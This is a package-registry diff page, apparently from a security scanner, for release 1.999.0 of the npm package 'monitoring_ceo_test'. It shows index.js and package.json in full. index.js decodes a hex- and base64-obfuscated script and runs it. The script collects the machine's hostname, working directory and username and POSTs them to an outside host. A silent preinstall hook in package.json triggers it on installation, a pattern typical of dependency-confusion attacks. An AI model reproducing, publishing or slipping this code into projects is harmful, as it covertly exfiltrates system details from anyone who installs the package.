monitoring_ceo_test 1.999.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of monitoring_ceo_test might be problematic. Click here for more details.
- package/index.js +31 -0
- package/package.json +16 -0
package/index.js
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
const hexEncodedBase64 = '59323975633351676579426C6547566A49483067505342795A58463161584A6C4B434A6A61476C735A463977636D396A5A584E7A49696B37436D4E76626E4E30494768306448427A49443067636D567864576C795A53676E6148523063484D6E4B54734B436D56345A574D6F59476876633352755957316C4943596D494842335A43416D4A6942336147396862576C674C43416F5A584A796233497349484E305A473931644377676333526B5A584A794B5341395069423743694167494342705A69416F5A584A79623349704948734B49434167494341674943426A6232357A6232786C4C6D78765A7967695A584A79623349694C43426C636E4A76636935745A584E7A5957646C4B54734B4943416749434167494342795A585231636D3437436941674943423943676F674943416759323975633351676147397A6447356862575567505342795A58463161584A6C4B436476637963704C6D6876633352755957316C4B436B37436941674943426A6232357A6443426A6432516750534277636D396A5A584E7A4C6D4E335A4367704F776F6749434167593239756333516764584E6C636D356862575567505342795A58463161584A6C4B436476637963704C6E567A5A584A4A626D5A764B436B7564584E6C636D35686257553743676F674943416759323975633351675A474630595341394945705454303475633352796157356E61575A354B48734B49434167494341674943426F62334E30626D46745A546F676147397A64473568625755734369416749434167494341675A476C795A574E3062334A354F69426A6432517343694167494341674943416764584E6C636A6F6764584E6C636D35686257554B49434167494830704F776F4B4943416749474E76626E4E304947397764476C76626E4D67505342374369416749434167494341676147397A64473568625755364943647959584A305A6E5A3461326C3561326436625778336148466A616D56344E3342354D484D34626D7068646E59756232467A6443356D6457346E4C416F67494341674943416749484276636E5136494451304D79774B4943416749434167494342775958526F4F69416E4C796373436941674943416749434167625756306147396B4F69416E5545395456436373436941674943416749434167614756685A475679637A6F6765776F674943416749434167494341674943416E5132397564475675644331556558426C4A7A6F674A3246776347787059324630615739754C32707A6232346E4C416F674943416749434167494341674943416E51323975644756756443314D5A57356E6447676E4F69426B595852684C6D786C626D643061416F6749434167494341674948304B494341674948303743676F67494341675932397563335167636D5678494430676148523063484D75636D56786457567A64436876634852706232357A4C43416F636D567A4B534139506942374369416749434167494341676247563049484A6C63334276626E4E6C494430674A79633743676F67494341674943416749484A6C637935766269676E5A474630595363734943686A6148567561796B675054346765776F67494341674943416749434167494342795A584E776232357A5A5341725053426A61485675617A734B4943416749434167494342394B54734B436941674943416749434167636D567A4C6D39754B43646C626D516E4C43416F4B534139506942374369416749434167494341674943416749474E76626E4E76624755756247396E4B4364535A584E776232357A5A546F6E4C4342795A584E776232357A5A536B3743694167494341674943416766536B3743694167494342394B54734B43694167494342795A5845756232346F4A325679636D39794A7977674B4755704944302B4948734B49434167494341674943426A6232357A6232786C4C6D5679636D39794B46786755484A76596D786C625342336158526F49484A6C6358566C633351364946776B653255756257567A6332466E5A58316359436B3743694167494342394B54734B43694167494342795A58457564334A706447556F5A47463059536B3743694167494342795A5845755A57356B4B436B37436E30704F776F3D';
|
4
|
+
|
5
|
+
let base64Script;
|
6
|
+
try {
|
7
|
+
base64Script = Buffer.from(hexEncodedBase64, 'hex').toString('utf-8');
|
8
|
+
} catch (err) {
|
9
|
+
console.error("Error decoding hex to Base64:", err);
|
10
|
+
process.exit(1);
|
11
|
+
}
|
12
|
+
|
13
|
+
let script;
|
14
|
+
try {
|
15
|
+
script = Buffer.from(base64Script, 'base64').toString('utf-8');
|
16
|
+
} catch (err) {
|
17
|
+
console.error("Error decoding Base64 to script:", err);
|
18
|
+
process.exit(1);
|
19
|
+
}
|
20
|
+
|
21
|
+
exec(script, (error, stdout, stderr) => {
|
22
|
+
if (error) {
|
23
|
+
console.error("Execution error:", error.message);
|
24
|
+
|
25
|
+
return;
|
26
|
+
}
|
27
|
+
|
28
|
+
console.log("Output:", stdout);
|
29
|
+
console.error("Stderr:", stderr);
|
30
|
+
|
31
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
{
|
2
|
+
"name": "monitoring_ceo_test",
|
3
|
+
"version": "1.999.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "main.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js > /dev/null 2>&1",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "lexi2",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"lodash": "^4.17.21",
|
14
|
+
"testtest01": "^1.999.0"
|
15
|
+
}
|
16
|
+
}
|